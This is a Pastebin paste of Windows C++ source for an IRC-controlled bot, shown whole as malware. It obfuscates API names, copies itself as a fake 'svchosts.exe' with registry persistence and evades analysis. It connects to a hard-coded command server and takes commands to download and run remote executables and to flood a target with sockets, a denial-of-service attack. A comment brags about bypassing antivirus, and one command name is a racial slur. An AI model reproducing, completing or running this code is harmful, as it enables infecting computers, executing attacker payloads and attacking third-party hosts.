Advertisement
FlyFar

a59.cpp

Dec 28th, 2023
464
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 16.65 KB | Cybersecurity | 0 0
  1. #pragma comment(lib, "wsock32.lib")
  2.  
  3. #include <windows.h>
  4. #include <stdio.h>
  5.  
  6. #define S 777
  7.  
  8. // Config //
  9. char* poopHost = "brick.pbdownforce.com";
  10. char* poopRegNameValue = "Microsoft Corp";
  11. char* poopDirectory = "\x00:\\RECYCLER"; // Autofills drive (leave \x00)
  12. char* poopExeFile = "svchosts.exe";
  13. char* Channel = "#test";
  14. unsigned short Port = htons(6112);
  15. // CONFIG //
  16.  
  17. char Drive;
  18.  
  19. char* EncUser = "\x00\x55\x52\x47\x51";
  20. char* EncNick = "\x00\x4E\x48\x41\x48";
  21. char* EncJoin = "\x00\x4A\x4E\x4B\x4D";
  22. char* EncPing = "\x00\x50\x48\x4C\x44";
  23. char* EncPong = "\x00\x50\x4E\x4C\x44";
  24. char* EncPrivmsg = "\x00\x50\x53\x4B\x55\x49\x56\x41";
  25. char* EncSendUser = "\x00\x55\x52\x47\x51\x24\x35\x26\x37\x28\x39\x2A\x3B";
  26. char* EncSend = "\x00\x73\x64\x6C\x67";
  27. char* EncZs = "\x00\x72\x64\x61\x75";
  28. char* EncSocket = "\x00\x73\x6E\x61\x68\x61\x71";
  29. char* EncConnect = "\x00\x63\x6E\x6C\x6D\x61\x66\x72";
  30. char* EncWS = "\x00\x57\x52\x43\x50\x70\x64\x74\x73\x7D\x79";
  31. char* EncWsDLL = "\x00\x77\x72\x30\x5C\x37\x37\x28\x63\x64\x65";
  32. char* EncGethost = "\x00\x67\x64\x76\x6B\x6B\x76\x72\x65\x71\x67\x6B\x66\x69";
  33. char* EncWinExec = "\x00\x57\x68\x6C\x46\x7C\x60\x65";
  34. char* EncGetFileName = "\x00\x47\x64\x76\x4E\x6B\x61\x73\x6B\x6D\x4F\x63\x67\x69\x43\x6F\x62\x75\x50";
  35. char* EncGetModule = "\x00\x47\x64\x76\x4E\x6B\x61\x73\x6B\x6D\x41\x6B\x65\x68\x61\x6B\x4E";
  36. char* EncCreateDir = "\x00\x43\x73\x67\x62\x70\x60\x42\x6E\x7A\x6C\x69\x7F\x63\x7F\x77\x4E";
  37. char* EncRegCreate = "\x00\x52\x64\x65\x40\x76\x60\x67\x73\x6D\x42\x6F\x72\x49\x75\x4F";
  38. char* EncRegSet = "\x00\x52\x64\x65\x50\x61\x71\x50\x66\x64\x7C\x6F\x4E\x74\x4C";
  39. char* EncM00teix = "\x00\x43\x73\x67\x62\x70\x60\x4B\x72\x7C\x6C\x72\x4A";
  40. char* EncCopyFile = "\x00\x43\x6E\x72\x7A\x42\x6C\x6A\x62\x49";
  41. char* EncKernel = "\x00\x4B\x44\x50\x4D\x41\x49\x35\x35\x26\x6D\x66\x67";
  42. char* EncAdvapi = "\x00\x61\x65\x74\x62\x74\x6C\x35\x35\x26\x6D\x66\x67";
  43. char* EncUrlmonDLL = "\x00\x75\x73\x6E\x6E\x6B\x6B\x28\x63\x64\x65";
  44. char* EncDownloadFile = "\x00\x55\x53\x4E\x47\x6B\x72\x68\x6B\x67\x68\x6E\x5F\x63\x4B\x67\x63\x75\x50";
  45. char* EncRegPlace = "\x00\x53\x4E\x44\x57\x53\x44\x54\x42\x54\x55\x47\x62\x6F\x7F\x61\x7C\x7F\x77\x66\x4F\x48\x42\x7F\x79"
  46.                      "\x7C\x76\x6D\x68\x40\x41\x5D\x6A\x52\x53\x47\x4D\x50\x73\x43\x55\x5B\x40\x45\x45\x70\x71\x7C\x5A\x5E";
  47.  
  48. typedef int( __stdcall* truncate )( SOCKET, const char*, int, int );
  49. truncate shino;
  50.  
  51. typedef int( __stdcall* tyco )( SOCKET, const char*, int, int );
  52. tyco frecv;
  53.  
  54. typedef SOCKET( __stdcall* jewf )( int, int, int );
  55. jewf thing;
  56.  
  57. typedef int( __stdcall* newz )( SOCKET, const struct sockaddr*, int );
  58. newz doneq;
  59.  
  60. typedef int( __stdcall* WS )( WORD, LPWSADATA );
  61. WS fWSAStartup;
  62.  
  63. typedef struct hostent* FAR( __stdcall* GHBN )( char* );
  64. GHBN fgethostbyname;
  65.  
  66. typedef unsigned long( __stdcall* GeTwHaT )( HMODULE, LPTSTR, DWORD );
  67. GeTwHaT fGetModuleFileName;
  68.  
  69. typedef HMODULE( __stdcall* fish )( LPCTSTR );
  70. fish fGetModuleHandle;
  71.  
  72. typedef BOOL( __stdcall* CD )( LPCTSTR, LPSECURITY_ATTRIBUTES );
  73. CD fCreateDirectory;
  74.  
  75. typedef LONG( __stdcall* RCKE )( HKEY, LPCTSTR, DWORD, LPTSTR, DWORD, REGSAM, LPSECURITY_ATTRIBUTES, PHKEY, LPDWORD );
  76. RCKE fRegCreateKeyEx;
  77.  
  78. typedef LONG( __stdcall* RSVE )( HKEY, LPCTSTR, DWORD, DWORD, const BYTE*, DWORD );
  79. RSVE fRegSetValueEx;
  80.  
  81. typedef HANDLE( __stdcall* CM )( LPSECURITY_ATTRIBUTES, BOOL, LPCTSTR );
  82. CM fM00teix;
  83.  
  84. typedef BOOL( __stdcall* CF )( LPCTSTR, LPCTSTR, BOOL );
  85. CF fCopyFile;
  86.  
  87. typedef UINT( __stdcall* WE )( LPCSTR, UINT );
  88. WE fWinExec;
  89.  
  90. typedef HRESULT( __stdcall* whatdidyousay )( LPUNKNOWN, LPCTSTR, LPCTSTR, DWORD, LPBINDSTATUSCALLBACK );
  91. whatdidyousay fURLDownloadToFile;
  92.  
  93. bool LoadFunctions( );
  94. bool winzocket( );
  95. void IncStrings( );
  96. char* Decrypt( char* poopString );
  97. unsigned long findprotocol( char* poopHost );
  98. bool putproto( SOCKET sSocket, char* poopPacket, ... );
  99. void checkin( );
  100. unsigned long __stdcall doodlebug( void* pVoid );
  101. SOCKET ridged( unsigned long dwIp, unsigned short wPort );
  102. bool imgonago( );
  103. void ParseIRC( SOCKET sSocket, char* poopLine );
  104. void StartCommand( bool bDelete, char* poopContent, ... );
  105. void Install( );
  106.  
  107. bool LoadFunctions( )
  108. {
  109.     char* poopWsDLL = Decrypt( EncWsDLL );
  110.     char* poopSend = Decrypt( EncSend );
  111.     char* poopZs = Decrypt( EncZs );
  112.     char* poopSocket = Decrypt( EncSocket );
  113.     char* poopConnect = Decrypt( EncConnect );
  114.     char* poopWS = Decrypt( EncWS );
  115.     char* poopGethost = Decrypt( EncGethost );
  116.     char* poopExec = Decrypt( EncWinExec );
  117.     char* poopGetFile = Decrypt( EncGetFileName );
  118.     char* poopGetModule = Decrypt( EncGetModule );
  119.     char* poopCreateDir = Decrypt( EncCreateDir );
  120.     char* poopRegCreate = Decrypt( EncRegCreate );
  121.     char* poopRegSet = Decrypt( EncRegSet );
  122.     char* poopM00teix = Decrypt( EncM00teix );
  123.     char* poopCopyFile = Decrypt( EncCopyFile );
  124.     char* poopKernel = Decrypt( EncKernel );
  125.     char* poopAdvapi = Decrypt( EncAdvapi );
  126.  
  127.     HMODULE hWinsock = LoadLibrary( poopWsDLL );
  128.  
  129.     shino = (truncate)GetProcAddress( hWinsock, poopSend );
  130.     frecv = (tyco)GetProcAddress( hWinsock, poopZs );
  131.     thing = (jewf)GetProcAddress( hWinsock, poopSocket );
  132.     doneq = (newz)GetProcAddress( hWinsock, poopConnect );
  133.     fWSAStartup = (WS)GetProcAddress( hWinsock, poopWS );
  134.     fgethostbyname = (GHBN)GetProcAddress( hWinsock, poopGethost );
  135.  
  136.     FreeLibrary( hWinsock );
  137.  
  138.     HMODULE hKernel = LoadLibrary( poopKernel );
  139.  
  140.     fGetModuleFileName = (GeTwHaT)GetProcAddress( hKernel, poopGetFile );
  141.     fGetModuleHandle = (fish)GetProcAddress( hKernel, poopGetModule );
  142.     fCreateDirectory = (CD)GetProcAddress( hKernel, poopCreateDir );
  143.     fM00teix = (CM)GetProcAddress( hKernel, poopM00teix );
  144.     fCopyFile = (CF)GetProcAddress( hKernel, poopCopyFile );
  145.     fWinExec = (WE)GetProcAddress( hKernel, poopExec );
  146.  
  147.     FreeLibrary( hKernel );
  148.  
  149.     HMODULE hAdvapi = LoadLibrary( poopAdvapi );
  150.  
  151.     fRegCreateKeyEx = (RCKE)GetProcAddress( hAdvapi, poopRegCreate );
  152.     fRegSetValueEx = (RSVE)GetProcAddress( hAdvapi, poopRegSet );
  153.  
  154.     FreeLibrary( hAdvapi );
  155.  
  156.     delete [] poopWsDLL, poopWS, poopSend, poopZs, poopSocket, poopConnect, poopGethost, poopExec, poopKernel, poopAdvapi,
  157.               poopGetFile, poopGetModule, poopCreateDir, poopRegCreate, poopRegSet, poopM00teix, poopCopyFile;
  158.  
  159.     return true;
  160. };
  161.  
  162. //InitWinsock
  163. bool winzocket( )
  164. {
  165.     char* poopWsDLL = Decrypt( EncWsDLL );
  166.     LoadLibrary( poopWsDLL );
  167.  
  168.     delete [] poopWsDLL;
  169.  
  170.     WSADATA wsa;
  171.     if( fWSAStartup( 0x0202, &wsa ) )
  172.         return false;
  173.  
  174.     return true;
  175. };
  176.  
  177. void IncStrings( )
  178. {
  179.     *EncUser++;
  180.     *EncNick++;
  181.     *EncJoin++;
  182.     *EncPing++;
  183.     *EncPong++;
  184.     *EncPrivmsg++;
  185.     *EncSendUser++;
  186.     *EncAdvapi++;
  187.     *EncKernel++;
  188.     *EncSend++;
  189.     *EncZs++;
  190.     *EncSocket++;
  191.     *EncConnect++;
  192.     *EncWS++;
  193.     *EncWsDLL++;
  194.     *EncGethost++;
  195.     *EncWinExec++;
  196.     *EncGetFileName++;
  197.     *EncGetModule++;
  198.     *EncCreateDir++;
  199.     *EncRegCreate++;
  200.     *EncRegSet++;
  201.     *EncCopyFile++;
  202.     *EncM00teix++;
  203.     *EncRegPlace++;
  204.     *EncUrlmonDLL++;
  205.     *EncDownloadFile++;
  206. };
  207.  
  208. char* Decrypt( char* poopString )
  209. {
  210.     int iStringLength = strlen( poopString );
  211.     char* poopTempBuff = new char[ iStringLength + 1 ];
  212.  
  213.     strcpy( poopTempBuff, poopString );
  214.  
  215.     for( int i = 0; i < iStringLength; i++ )
  216.         poopTempBuff[ i ] = i ^ poopTempBuff[ i ];
  217.  
  218.     poopTempBuff[ iStringLength ] = 0;
  219.  
  220.     return( poopTempBuff );
  221. };
  222.  
  223. //ResolveHost
  224. unsigned long findprotocol( char* poopHost )
  225. {
  226.     struct hostent* hGetHost = fgethostbyname( poopHost );
  227.  
  228.     if( !hGetHost )
  229.         return 0;
  230.  
  231.     return( (*(struct in_addr *)hGetHost->h_addr).s_addr );
  232. };
  233.  
  234. //SendPacket
  235. bool putproto( SOCKET sSocket, char* poopPacket, ... )
  236. {
  237.     char poopSendBuff[ 0x500 ];
  238.  
  239.     ZeroMemory( poopSendBuff, sizeof( poopSendBuff ) );
  240.  
  241.     va_list vArgs;
  242.     va_start( vArgs, poopPacket );
  243.     vsprintf( poopSendBuff, poopPacket, vArgs );
  244.     va_end( vArgs );
  245.  
  246.     strcat( poopSendBuff, "\r\n" );
  247.     return( shino( sSocket, poopSendBuff, strlen( poopSendBuff ), 0 ) > 0 ? true : false );  
  248. };
  249.  
  250. //AntiInspect
  251. void checkin( )
  252. {
  253.     char poopBuffer[ 256 ];
  254.     unsigned long size = sizeof( poopBuffer );
  255.  
  256.     GetUserName( poopBuffer, &size );
  257.  
  258.     if( !strcmp( poopBuffer, "CurrentUser" ) )
  259.     {
  260.         ExitProcess( 0 );
  261.     }
  262. };
  263.  
  264. void slickwilly(char *target, char *port, char *len)
  265. {
  266.     unsigned short p = (unsigned short)atoi(port);
  267.     int t = atoi(len);
  268. //  const int S = atoi(sockets);
  269.  
  270.     int skydelay = 100;
  271.     SOCKADDR_IN    pocket;
  272.     SOCKET         cookie[S];
  273.     IN_ADDR iaddr;
  274.     memset(&pocket, 0, sizeof(pocket));
  275.     pocket.sin_family = AF_INET;
  276.     pocket.sin_port = htons(p);
  277.     LPHOSTENT lpHostEntry = NULL;
  278.     DWORD mode = 1;
  279.     int c,i;
  280.     iaddr.s_addr = inet_addr(target);
  281.     pocket.sin_addr = iaddr; //ip addy
  282.     i = 0;
  283.     while (i < t)
  284.     {
  285.         for (c=0;c<S;c++)
  286.         {
  287.             cookie[c] = socket(AF_INET, SOCK_STREAM, 0);
  288.             if (cookie[c] == INVALID_SOCKET)
  289.                 goto bottom;
  290.             ioctlsocket(cookie[c],FIONBIO,&mode);
  291.         }
  292.         for (c=0;c<S;c++)
  293.         {
  294.     //      if(connect(cookie[c], (PSOCKADDR) &pocket, sizeof(pocket))==SOCKET_ERROR)
  295.     //      {  
  296.     //          goto bottom;
  297.     //          break;
  298.     //      }
  299.     //      else
  300.     //      {
  301.                 connect(cookie[c], (PSOCKADDR) &pocket, sizeof(pocket));
  302.     //      }
  303.    //           Sleep(skydelay);
  304.         }
  305.         for (c=0;c<S;c++)
  306.             closesocket(cookie[c]); //close sockets
  307.         i++;
  308.     }bottom:;
  309.  
  310.     Sleep( 2000 );
  311. //  SOCKET sIrcSocket = -1;
  312. //  while( ridged( findprotocol( poopHost ), Port ) == -1 )//Declares a SOCKET_ERROR
  313. //  {
  314. //      closesocket( ridged( findprotocol( poopHost ), Port ) );
  315. //      Sleep( 3000 );
  316. //  }
  317. //  Sleep( 2000 );
  318. //  ExitProcess(0);
  319. //  while(imgonago())
  320. //  {
  321.     //  ExitProcess(0);
  322.     //  LoadFunctions( );
  323.     //  winzocket( );
  324.     //  imgonago( );
  325. //  }
  326. };
  327.  
  328. unsigned long __stdcall doodlebug( void* pVoid )
  329. {
  330.     char poopPath[ 32 ] = "\x00:\\";
  331.     poopPath[ 0 ] = Drive;
  332.  
  333.     char* poopLink = (char *)pVoid;
  334.     char* poopUrlmonDLL = Decrypt( EncUrlmonDLL );
  335.     HMODULE hUrlmon = LoadLibrary( poopUrlmonDLL );
  336.  
  337.     delete [] poopUrlmonDLL;
  338.  
  339.     for( int i = 3; i < 8; i++ )
  340.         poopPath[ i ] = "abcdefghijklmnopqrstuvwxyz"[ rand( ) % 26 ];
  341.    
  342.     strcat( poopPath, ".exe" );
  343.  
  344.     if( hUrlmon )
  345.     {
  346.         char* poopDownloadFile = Decrypt( EncDownloadFile );
  347.         fURLDownloadToFile = (whatdidyousay)GetProcAddress( hUrlmon, poopDownloadFile );
  348.    
  349.         delete [] poopDownloadFile;
  350.  
  351.         HRESULT hDownload = fURLDownloadToFile( 0, poopLink, poopPath, 0, 0 );  
  352.     }
  353.  
  354.     FreeLibrary( hUrlmon );
  355.  
  356.     fWinExec( poopPath, 0 );
  357.  
  358.     return 0;
  359. };
  360.  
  361. //ConnectIRC
  362. SOCKET ridged( unsigned long dwIp, unsigned short wPort )
  363. {
  364.     SOCKET sSocket;
  365.     SOCKADDR_IN sSin;
  366.  
  367.     sSin.sin_family = AF_INET;
  368.     sSin.sin_port = wPort;
  369.     sSin.sin_addr.s_addr = dwIp;
  370.  
  371.     sSocket = thing( AF_INET, SOCK_STREAM, IPPROTO_TCP );
  372.  
  373.     if( doneq( sSocket, (SOCKADDR *) &sSin, sizeof( sSin ) ) == SOCKET_ERROR )
  374.     {
  375.         return -1;
  376.     }
  377.  
  378.     return( sSocket );
  379. };
  380.  
  381. //StartIRC
  382. bool imgonago( )
  383. {
  384.     SOCKET sIrcSocket = ridged( findprotocol( poopHost ), Port );
  385.     if( sIrcSocket == -1 )
  386.         return false;
  387.  
  388.     char poopZs[ 512 ], poopBotNick[ 32 ];
  389.     char* poopNick = Decrypt( EncNick );
  390.  
  391.     for( int i = 0; i < 8; i++ )
  392.         poopBotNick[ i ] = "abcdefghijklmnopqrstuvwxyz"[ rand( ) % 26 ];
  393.  
  394.     poopBotNick[ 8 ] = 0;
  395.  
  396.     Sleep( 100 );
  397.  
  398.     putproto( sIrcSocket, "HELO" ); // lol bypasses bitdefender AV
  399.     putproto( sIrcSocket, "%s %s", poopNick, poopBotNick );
  400.  
  401.  //   delete [] poopNick;
  402.        
  403.     int Curbyte = 0;
  404.  
  405.     while( frecv( sIrcSocket, (char *) &poopZs[ Curbyte ], 1, 0 ) > 0 )
  406.     {
  407.         switch( poopZs[ Curbyte ] )
  408.         {
  409.         case 0x0D:
  410.             poopZs[ Curbyte ] = 0;
  411.             Curbyte++;
  412.             break;
  413.         case 0x0A:
  414.             poopZs[ Curbyte ] = 0;          
  415.             ParseIRC( sIrcSocket, poopZs );
  416.             Curbyte = 0;
  417.             break;
  418.         default:
  419.             Curbyte++;
  420.             break;
  421.         }
  422.     }
  423.  
  424.     return true;
  425. };
  426.  
  427. void ParseIRC( SOCKET sSocket, char* poopLine )
  428. {
  429.     char* poopParam[ 32 ];
  430.     int i;
  431.  
  432.     poopParam[ 0 ] = strtok( poopLine, " " );
  433.  
  434.     for( i = 1; i < 32; i++ )
  435.         poopParam[ i ] = strtok( NULL, " \r\n" );
  436.  
  437.     char* poopPing = Decrypt( EncPing );
  438.  
  439.     if( !stricmp( poopParam[ 0 ], poopPing ) )
  440.     {
  441.         char* poopPong = Decrypt( EncPong );
  442.         putproto( sSocket, "%s %s", poopPong, poopParam[ 1 ] );
  443. //        delete [] poopPing, poopPong;
  444.     }
  445.  
  446.     char* poopJoin = Decrypt( EncJoin );
  447.  
  448.     switch( atoi( poopParam[ 1 ] ) )
  449.     {
  450.     case 005:
  451.         putproto( sSocket, "%s %s", poopJoin, Channel );
  452.         break;
  453.     case 451:
  454.         char* poopSendUser = Decrypt( EncSendUser );
  455.         putproto( sSocket, poopSendUser );
  456. //        delete [] poopSendUser;
  457.         break;
  458.     }
  459.  
  460.  //   delete [] poopJoin;
  461.  
  462.     if( poopParam[ 3 ] == NULL )
  463.         return;
  464.  
  465.     char* poopPrivmsg = Decrypt( EncPrivmsg );
  466.    
  467.     if( !stricmp( poopParam[ 3 ], ":.wget" ) )
  468.     {
  469.         if( poopParam[ 4 ] == NULL )
  470.             return;
  471.  
  472.         CreateThread( 0, 0, &doodlebug, (void *)poopParam[ 4 ], 0, 0 );
  473.     }
  474.  
  475.     else if( !stricmp( poopParam[ 3 ], ":.hitme" ) )
  476.     {
  477.         char* ip = (char* ) poopParam[ 4 ];
  478.         char* port = (char* ) poopParam[ 5 ];
  479.         char* length = (char* ) poopParam[ 6 ];
  480. //    char* sockets = (char* ) poopParam[ 7 ];
  481.         if ( ip!=NULL && port!=NULL && length!=NULL )
  482.             slickwilly ( ip, port, length );
  483.     }
  484.  
  485.     else if( !stricmp( poopParam[ 3 ], ":.peacenigga" ) )
  486.     {
  487.         char poopInstallPath[ 128 ];
  488.         HKEY hReg;
  489.        
  490.         sprintf( poopInstallPath, "%s\\%s", poopDirectory, poopExeFile );
  491.         StartCommand( false, ":2\r\ndel \"%s\"\r\nif exist \"%s\" goto 2\r\n", poopInstallPath, poopInstallPath );
  492.  
  493.         fRegCreateKeyEx( HKEY_LOCAL_MACHINE, Decrypt( EncRegPlace ), 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hReg, NULL );
  494.         RegDeleteValue( hReg, poopRegNameValue );
  495.         RegCloseKey( hReg );
  496.  
  497.         ExitProcess( 0 );
  498.     }
  499.  
  500.  //   delete [] poopPrivmsg;
  501. };
  502.  
  503. void StartCommand( bool bDelete, char* poopContent, ... )
  504. {
  505.     char poopBuffer[ 0x400 ], poopBatFile[ 0x10 ] = "\x00:\\";
  506.     unsigned long uBytesWritten;
  507.  
  508.     ZeroMemory( poopBuffer, sizeof( poopBuffer ) );
  509.  
  510.     poopBatFile[ 0 ] = Drive;
  511.  
  512.     va_list vArgs;
  513.     va_start( vArgs, poopContent );
  514.     vsprintf( poopBuffer, poopContent, vArgs );
  515.     va_end( vArgs );
  516.  
  517.     for( int i = 3; i < 8; i++ )
  518.         poopBatFile[ i ] = ( 0x42 + rand( ) % ( 0x54 - 0x42 ) );
  519.  
  520.     strcat( poopBatFile, ".bat" );
  521.  
  522.     HANDLE hHandle = CreateFile( poopBatFile, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );
  523.     WriteFile( hHandle, poopBuffer, strlen( poopBuffer ), &uBytesWritten, 0 );
  524.     CloseHandle( hHandle );
  525.  
  526.     fWinExec( poopBatFile, SW_HIDE );
  527.  
  528.     Sleep( 1000 );
  529.  
  530.     if( bDelete )
  531.     {
  532.         DeleteFile( poopBatFile );
  533.     }
  534. };
  535.  
  536. void Install( )
  537. {
  538.     char poopFilePath[ 0x100 ], poopInstallPath[ 0x100 ];
  539.     HKEY hReg;
  540.    
  541.     fGetModuleFileName( fGetModuleHandle( 0 ), poopFilePath, sizeof( poopFilePath ) );
  542.     fCreateDirectory( poopDirectory, 0 );  
  543.     sprintf( poopInstallPath, "%s\\%s", poopDirectory, poopExeFile );
  544.  
  545.     char* poopRegPlace = Decrypt( EncRegPlace );
  546.     fRegCreateKeyEx( HKEY_LOCAL_MACHINE, poopRegPlace, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hReg, NULL );
  547.    
  548.     delete [] poopRegPlace;
  549.  
  550.     fRegSetValueEx( hReg, poopRegNameValue, 0, REG_SZ, (unsigned char *)poopInstallPath, strlen( poopInstallPath ) + 1 );
  551.     RegCloseKey( hReg );
  552.  
  553.     if( !strcmp( poopInstallPath, poopFilePath ) )
  554.     {
  555.         fM00teix( NULL, FALSE, "Steamm" );
  556.            
  557.         if( GetLastError( ) == 0xB7 )
  558.         {
  559.             ExitProcess( 0 );
  560.         }
  561.     }
  562.     else
  563.     {
  564.         StartCommand( true, "copy \"%s\" \"%s\"", poopFilePath, poopInstallPath );
  565.         StartCommand( true, "\"%s\"", poopInstallPath );
  566.         ExitProcess( 0 );
  567.     }
  568. };
  569.  
  570. bool StartAll( )
  571. {
  572.     char poopBuffer[ 128 ];
  573.     GetSystemDirectory( poopBuffer, sizeof( poopBuffer ) );
  574.  
  575.     Drive = *poopBuffer;
  576.     *poopDirectory = Drive;
  577.  
  578.     srand( GetTickCount( ) );
  579.  
  580.     IncStrings( );
  581.  
  582.     if( !LoadFunctions( ) )
  583.         return false;
  584.  
  585.     checkin( );
  586.     Install( );
  587.  
  588.     if( !winzocket( ) )
  589.         return false;
  590.  
  591.     return true;
  592. };
  593.  
  594. int WINAPI WinMain( HINSTANCE hIhhnstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
  595. {
  596.     if( !StartAll( ) )
  597.         return false;
  598.     while( !imgonago( ) )
  599.     {
  600.         Sleep( 1000 );
  601.     }
  602.     return 0;
  603. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement